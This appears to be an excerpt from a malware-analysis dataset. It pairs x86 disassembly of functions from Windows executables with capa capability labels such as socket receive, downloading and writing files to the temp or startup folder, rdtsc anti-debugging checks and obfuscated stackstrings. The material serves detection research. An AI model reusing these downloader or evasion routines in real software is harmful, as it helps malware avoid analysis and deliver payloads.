joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404380
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x8d8], edx
mov dword [ebp - 0x8d4], ebx
lea ecx, [ebp - 0x8cc]
test eax, eax
je 0x4043bc
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [edx]
xor edi, edi
mov dword [ebp - 0x8d0], edi
test esi, esi
je 0x404507
test ebx, ebx
je 0x404507
push 0xc7
lea ecx, [ebp - 0xcb]
push edi
push ecx
mov byte [ebp - 0xcc], al
call fcn.00408200
add esp, 0xc
push edi
push 2
lea edx, [ebp - 0xcc]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404505
test eax, eax
je 0x404505
movzx edi, word [ebp - 0xcc]
lea eax, [edi + 2]
push eax
xor esi, esi
call fcn.0040596e
add esp, 4
mov ebx, eax
test edi, edi
jle 0x4044e1
jmp 0x404440
mov eax, dword [ebp - 0x8d8]
push 0
mov ecx, edi
sub ecx, esi
push ecx
mov ecx, dword [eax]
lea edx, [esi + ebx]
push edx
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4044bb
test eax, eax
je 0x4044bb
add esi, eax
cmp edi, esi
jg 0x404440
cmp esi, 5
jl 0x4044e1
mov edx, dword [str.AS101]
sub esi, 5
cmp edx, dword [ebx]
jne 0x4044e1
mov al, byte [ebx + 4]
cmp al, byte [0x415f18]
jne 0x4044e1
test esi, esi
jle 0x40449a
lea eax, [ebx + 5]
mov edi, esi
nop
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
dec edi
jne 0x404490
mov edi, dword [ebp - 0x8dc]
mov eax, dword [edi]
cmp eax, esi
jl 0x4044c3
mov eax, dword [ebp - 0x8d4]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.00408d70
mov dword [edi], esi
jmp 0x4044d4
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4044e1
mov edx, dword [ebp - 0x8d4]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.00408d70
add esp, 0xc
mov dword [ebp - 0x8d0], 1
test ebx, ebx
je 0x4044ee
push ebx
call fcn.00405d47
add esp, 4
mov eax, dword [ebp - 0x8d0]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004048a8
mov esp, ebp
pop ebp
ret
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004048a8
mov esp, ebp
pop ebp
ret
Function at 0x404520
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe2c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x400
mov ebx, ecx
lea ecx, [ebp - 0x610]
push 0
push ecx
mov dword [ebp - 0xe24], eax
call fcn.00408200
add esp, 0xc
push ebx
lea edx, [ebp - 0x610]
push 0x1ff
push edx
call fcn.0040492c
mov eax, ebx
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404571
sub eax, edx
sar eax, 1
lea edi, [ebp + eax*2 - 0x60e]
mov ecx, 0x80
mov esi, 0x417a78
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
lea edx, [eax + 2]
jmp 0x4045a0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4045a0
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 0x202]
push 0x10000
mov dword [ebp - 0xe28], eax
call fcn.004053ed
add esp, 4
push 0x10000
xor esi, esi
mov ebx, eax
push esi
push ebx
call fcn.00408200
add esp, 0xc
push 0x7fe
lea edx, [ebp - 0xe0e]
xor ecx, ecx
push esi
push edx
mov dword [ebp - 0xe1c], 0x10000
mov word [ebp - 0xe10], cx
call fcn.00408200
add esp, 0xc
push 0x206
lea ecx, [ebp - 0x20e]
xor eax, eax
push esi
push ecx
mov dword [ebp - 0xe18], esi
mov dword [ebp - 0xe14], esi
mov dword [ebp - 0xe20], esi
mov word [ebp - 0x210], ax
call fcn.00408200
add esp, 0xc
lea edx, [ebp - 0x210]
push edx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
mov ecx, dword [ebp + 0xc]
mov edi, dword [ebp - 0xe24]
lea eax, [ebp - 0xe10]
push eax
push ecx
lea esi, [ebp - 0xe18]
call fcn.00403e60
add esp, 8
test eax, eax
je 0x40473c
mov eax, dword [ebp - 0xe28]
lea edx, [ebp - 0xe10]
push edx
push eax
lea ecx, [ebp - 0x610]
push ecx
push 0xbba
mov edx, esi
call fcn.00403f70
add esp, 0x10
test eax, eax
je 0x40473c
lea edx, [ebp - 0xe10]
push edx
lea eax, [ebp - 0xe20]
push eax
mov ecx, esi
push ecx
lea edx, [ebp - 0xe1c]
mov ecx, ebx
call fcn.00404170
add esp, 0xc
test eax, eax
je 0x40473c
mov edx, 0xbba
cmp word [ebp - 0xe20], dx
jne 0x40473c
cmp dword [ebp - 0xe1c], 0
je 0x40473c
cmp byte [ebx], 0
jne 0x40473c
push 0x417c78
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.004048b7
add esp, 0xc
push 0x4135f4
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0xe14]
push edx
mov dword [ebp - 0xe14], 0
call fcn.00404bd9
add esp, 0xc
cmp dword [ebp - 0xe14], 0
je 0x404732
lea eax, [ebp - 0xe14]
push eax
mov edi, esi
call fcn.00404780
add esp, 4
mov dword [ebp - 0xe14], 1
test ebx, ebx
je 0x404749
push ebx
call fcn.00405481
add esp, 4
mov eax, dword [ebp - 0xe18]
test eax, eax
je 0x40475a
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xe14]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004048a8
mov esp, ebp
pop ebp
ret
Function at 0x404780
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040de20
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [edi]
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push ebx
push 4
lea ecx, [ebp - 0x1008]
push ecx
push edx
mov dword [ebp - 0x100c], eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x4047cc
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004048a8
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1008], ebx
jbe 0x404818
push esi
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
je 0x404817
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx]
push eax
push esi
lea ecx, [ebp - 0x1004]
push 1
push ecx
call fcn.004050bf
add ebx, esi
add esp, 0x10
cmp ebx, dword [ebp - 0x1008]
jb 0x4047d5
pop esi
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx]
push eax
call fcn.00404ef4
mov ecx, dword [ebp - 4]
add esp, 4
cmp ebx, dword [ebp - 0x1008]
pop ebx
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.004048a8
mov esp, ebp
pop ebp
ret

Function at 0x4048a8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x415048]
jne 0x4048b2
repz ret
jmp fcn.0040602e
Function at 0x40e1be
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409d73
and dword [ebp - 0x14], 0
cmp dword [0x416cac], 0
mov dword [ebp - 0x18], eax
jne 0x40e271
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40e319
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40e319
mov esi, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x416cac], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x416cb0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x416cb4], eax
call edi
push eax
call esi
mov dword [0x416cbc], eax
test eax, eax
je 0x40e271
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x416cb8], eax
mov eax, dword [0x416cb8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, ecx
je 0x40e2ca
cmp dword [0x416cbc], ecx
je 0x40e2ca
push eax
call esi
push dword [0x416cbc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40e2ca
test ebx, ebx
je 0x40e2ca
call edi
test eax, eax
je 0x40e2c1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40e2c1
test byte [ebp - 8], 1
jne 0x40e2ca
or dword [ebp + 0x10], 0x200000
jmp 0x40e2fd
mov eax, dword [0x416cb0]
cmp eax, dword [ebp - 0x18]
je 0x40e2fd
push eax
call esi
test eax, eax
je 0x40e2fd
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40e2fd
mov eax, dword [0x416cb4]
cmp eax, dword [ebp - 0x18]
je 0x40e2fd
push eax
call esi
test eax, eax
je 0x40e2fd
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x416cac]
call esi
test eax, eax
je 0x40e319
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40e31b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004048a8
leave
ret
Function at 0x180c45bd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
Function at 0x180c5ef0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax], al
and byte [ebp - 0x7ac], 0
and byte [ebp - 0x7ab], 0
mov byte [ebp - 0x7aa], 0xed
and byte [ebp - 0x7a9], 0
mov byte [ebp - 0x7a8], 0x4e
mov byte [ebp - 0x7a7], 0x55
mov byte [ebp - 0x7a6], 0x56
mov byte [ebp - 0x7a5], 0x7e
mov byte [ebp - 0x7a4], 0x21
mov byte [ebp - 0x7a3], 0x20
mov byte [ebp - 0x7a2], 0x3c
mov byte [ebp - 0x7a1], 0x76
test dword [edi - 8], ebx
invalid
push dword [esi - 0x3a]
test dword [eax - 8], esp
invalid
invalid
jle 0x180c5f14
test dword [ecx - 8], esp
invalid
invalid
jle 0x180c5f1b
test dword [edx - 8], esp
invalid
call dword [edx]
push 0xb
lea eax, [ebp - 0x7ac]
call dword [eax - 0x18]
mov dword [0x59ffffe2], eax

Function at 0x180d115d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [0x181c900c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, ecx
xor edi, edi
push edi
push 0x1819b2bc
mov dword [esi], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 0xf
call fcn.1801e678
push 0x20a
lea eax, [ebp - 0x218]
push edi
push eax
call fcn.1812da70
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x180d125d
lea eax, [ebp - 0x218]
mov dword [ebp - 0x238], edi
push eax
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x228], edi
mov dword [ebp - 0x224], 7
call fcn.1800fda5
lea edx, [ebp - 0x238]
lea ecx, [ebp - 0x250]
call fcn.180d6843
push eax
mov ecx, esi
call fcn.180381e5
lea ecx, [ebp - 0x250]
call fcn.18014b0d
mov eax, dword [ebp - 0x224]
cmp eax, 8
jb 0x180d125d
mov ecx, dword [ebp - 0x238]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x220], ecx
cmp eax, 0x1000
jb 0x180d1254
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.18007c32
mov eax, dword [ebp - 0x21c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x220]
push eax
push ecx
call fcn.181192f6
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.18118dc8
leave
ret
Function at 0x401400
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0x10], 0x441030
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
call main
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x1f
lea eax, [edx + eax]
sar eax, 1
add eax, eax
sub edx, eax
mov eax, edx
add eax, 5
mov dword [esp], eax
call fcn.00401390
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x441030
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x43d000
mov dword [esp], 0x441030
call sub.msvcrt.dll_strcat
leave
ret

Function at 0x4015c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
leave
ret
Function at 0x4099f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [ebp + 8]
jmp loc.00452d58

Function at 0x40ca20
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.0040db40
call fcn.0040cc80
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x40ca58
jmp 0x40caf6
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x40ca57
cmp cl, 0x22
je 0x40cab0
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x40cad0
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x40cad0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x40ca90
jmp 0x40cad0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x40cab0
cmp cl, 0x22
je 0x40cb32
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x40caf0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x40cae0
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x40cb14
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call fcn.004015fe
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x40cad0

Function at 0x40cfe0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [0x445850]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x40d020
mov dword [ebx + 0x2c], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x2c]
mov dword [esp], eax
call fcn.0040cb80
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
Function at 0x40f270
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
xor edi, edi
push esi
push ebx
sub esp, 8
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x1c]
add eax, 4
mov dword [esp + 4], eax
movzx eax, word [edx + 4]
test ax, ax
jne 0x40f39b
mov ebp, edx
xor eax, eax
add ebp, 6
cmp word [edx + 6], 0
jl 0x40f393
jne 0x40f2f0
lea esi, [esi]
mov ecx, dword [esp + 4]
mov edx, ebp
mov ebx, 5
nop
lea esi, [esi]
movzx esi, word [edx]
add edx, 2
mov word [ecx], si
add ecx, 2
dec ebx
jns 0x40f2c0
mov edx, dword [esp + 4]
add edi, 0x10
cmp edi, 0x50
mov word [edx + 0xc], 0
jg 0x40f391
movzx eax, word [ebp]
test ax, ax
je 0x40f2b0
jmp 0x40f2f4
movzx eax, word [ebp]
test ah, 0xff
jne 0x40f342
mov ecx, dword [esp + 0x1c]
add ecx, 0x10
mov dword [esp], ecx
lea esi, [esi]
lea edi, [edi]
mov ecx, dword [esp]
xor ebx, ebx
mov esi, 6
lea esi, [esi]
jmp 0x4524c0
test ax, ax
js 0x40f391
mov ebx, dword [esp + 0x1c]
lea esi, [ebx + 0x10]
mov esi, esi
mov ecx, esi
xor eax, eax
mov ebx, 6
jmp 0x40f377
add edx, edx
test al, 2
je 0x40f369
or edx, 1
mov word [ecx], dx
add eax, eax
sub ecx, 2
dec ebx
movzx eax, ax
js 0x40f384
movzx edx, word [ecx]
test dx, dx
jns 0x40f360
or eax, 1
jmp 0x40f360
inc edi
cmp edi, 0x60
jg 0x40f391
cmp word [ebp], 0
jns 0x40f350
mov eax, edi
add esp, 8
pop ebx
pop esi
pop edi
pop ebp
ret
test ah, 0xff
jne 0x40f3f5
mov esi, dword [esp + 4]
cmp word [esi], 0
je 0x40f391
mov ecx, dword [esp + 4]
xor eax, eax
mov ebx, 6
lea esi, [esi]
lea edi, [edi]
movzx edx, word [ecx]
test dl, 1
je 0x40f3cb
or eax, 1
shr edx, 1
test al, 2
je 0x40f3d7
or edx, 0xffff8000
mov word [ecx], dx
add eax, eax
add ecx, 2
dec ebx
movzx eax, ax
jns 0x40f3c0
dec edi
cmp edi, 0xffffffb0
jl 0x40f391
mov ecx, dword [esp + 4]
cmp word [ecx], 0
jmp 0x40f3a8
mov ecx, dword [esp + 4]
xor ebx, ebx
mov esi, 6
movzx edx, word [ecx]
mov edi, edx
movzx ebp, dh
or ebx, ebp
shl edi, 8
mov word [ecx], bx
mov ebx, edi
add ecx, 2
and ebx, 0xff00
dec esi
jns 0x40f400
mov edi, 0xfffffff8
jmp 0x40f3a0
Function at 0x402250
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push ebx
rdtsc
xchg ebx, eax
rdtsc
sub eax, ebx
cmp eax, dword [ebp + 8]
jg 0x402264
xor eax, eax
jmp 0x402269
mov eax, 1
pop ebx
pop ebp
ret
Function at 0x404294
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4042d3
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4042d3
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4042d3
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4042d3
cmp dword [ecx + 0x74], 0xe
jbe 0x4042d3
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x404960
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebx
push esi
sub esp, 8
mov eax, dword [0x42c0c0]
xor eax, esp
mov dword [esp + 4], eax
mov byte [esp + 3], 1
rdtsc
xchg ebx, eax
rdtsc
sub eax, ebx
cmp eax, dword [esp + 0x14]
jg 0x404987
mov byte [esp + 3], 0
movzx esi, byte [esp + 3]
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.0040ba3d
mov eax, esi
add esp, 8
pop esi
pop ebx
ret
Function at 0x40c33b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40c37a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40c37a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40c37a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40c37a
cmp dword [ecx + 0x74], 0xe
jbe 0x40c37a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40106a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ebx
push esi
mov esi, dword [eax + 4]
mov eax, dword [0x8103f8]
mov dword [ebp - 0x30], eax
mov eax, dword [0x8103fc]
push edi
xor edi, edi
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x18], edi
call fcn.00401063
mov eax, dword [0x810400]
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x810404]
add ebx, 0x23f
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x20
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov eax, dword [ebp - 0xc]
shl eax, 4
cmp dword [0x1e00fac], 0xc
mov dword [ebp - 4], eax
jne 0x4010ef
push edi
lea eax, [ebp - 0x34]
push eax
push edi
lea eax, [ebp - 0x434]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [0x1e00fac]
cmp eax, 0xfa9
jne 0x40110b
mov dword [0x1e00fa8], 0xedeb2e40
cmp eax, 0x3eb
jne 0x40111f
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov dword [0x1e00efc], edi
mov eax, dword [ebp - 0xc]
add eax, ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [0x1e00fa4], 0xf4ea3dee
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], edi
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 8], eax
sub esi, dword [ebp - 8]
cmp dword [0x1e00fac], 0xc
mov dword [ebp - 4], eax
jne 0x401175
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10]
lea eax, [ebx + esi]
mov dword [ebp - 0x18], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edi
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
xor dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0xc], eax
add ebx, 0x61c88647
dec dword [ebp - 0x20]
jne 0x4010be
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword [eax + 4], esi
pop esi
mov dword [eax], ecx
pop ebx
leave
ret 4
Function at 0x40447c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x80f250]
jne 0x404486
repz ret
jmp fcn.00409bb4

Function at 0x40b19a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406f4c
and dword [ebp - 4], 0
cmp dword [0x8197a4], 0
mov ebx, eax
jne 0x40b24b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b2fc
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b2fc
push eax
call fcn.00406eda
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x8197a4], eax
call esi
push eax
call fcn.00406eda
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x8197a8], eax
call esi
push eax
call fcn.00406eda
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x8197ac], eax
call esi
push eax
call fcn.00406eda
pop ecx
mov dword [0x8197b4], eax
test eax, eax
je 0x40b24b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00406eda
pop ecx
mov dword [0x8197b0], eax
mov eax, dword [0x8197b0]
cmp eax, ebx
je 0x40b2a3
cmp dword [0x8197b4], ebx
je 0x40b2a3
push eax
call fcn.00406f55
push dword [0x8197b4]
mov esi, eax
call fcn.00406f55
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b2a3
test edi, edi
je 0x40b2a3
call esi
test eax, eax
je 0x40b29a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b29a
test byte [ebp - 0xc], 1
jne 0x40b2a3
or dword [ebp + 0x10], 0x200000
jmp 0x40b2dc
mov eax, dword [0x8197a8]
cmp eax, ebx
je 0x40b2dc
push eax
call fcn.00406f55
pop ecx
test eax, eax
je 0x40b2dc
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b2dc
mov eax, dword [0x8197ac]
cmp eax, ebx
je 0x40b2dc
push eax
call fcn.00406f55
pop ecx
test eax, eax
je 0x40b2dc
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x8197a4]
call fcn.00406f55
pop ecx
test eax, eax
je 0x40b2fc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b2fe
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404500
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x429b0f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.0040ada9
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
test eax, eax
je 0x40458b
push eax
push esi
call fcn.0040b0b3
mov ecx, dword [ebp - 0xc]
add esp, 8
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.0040ad5c
int3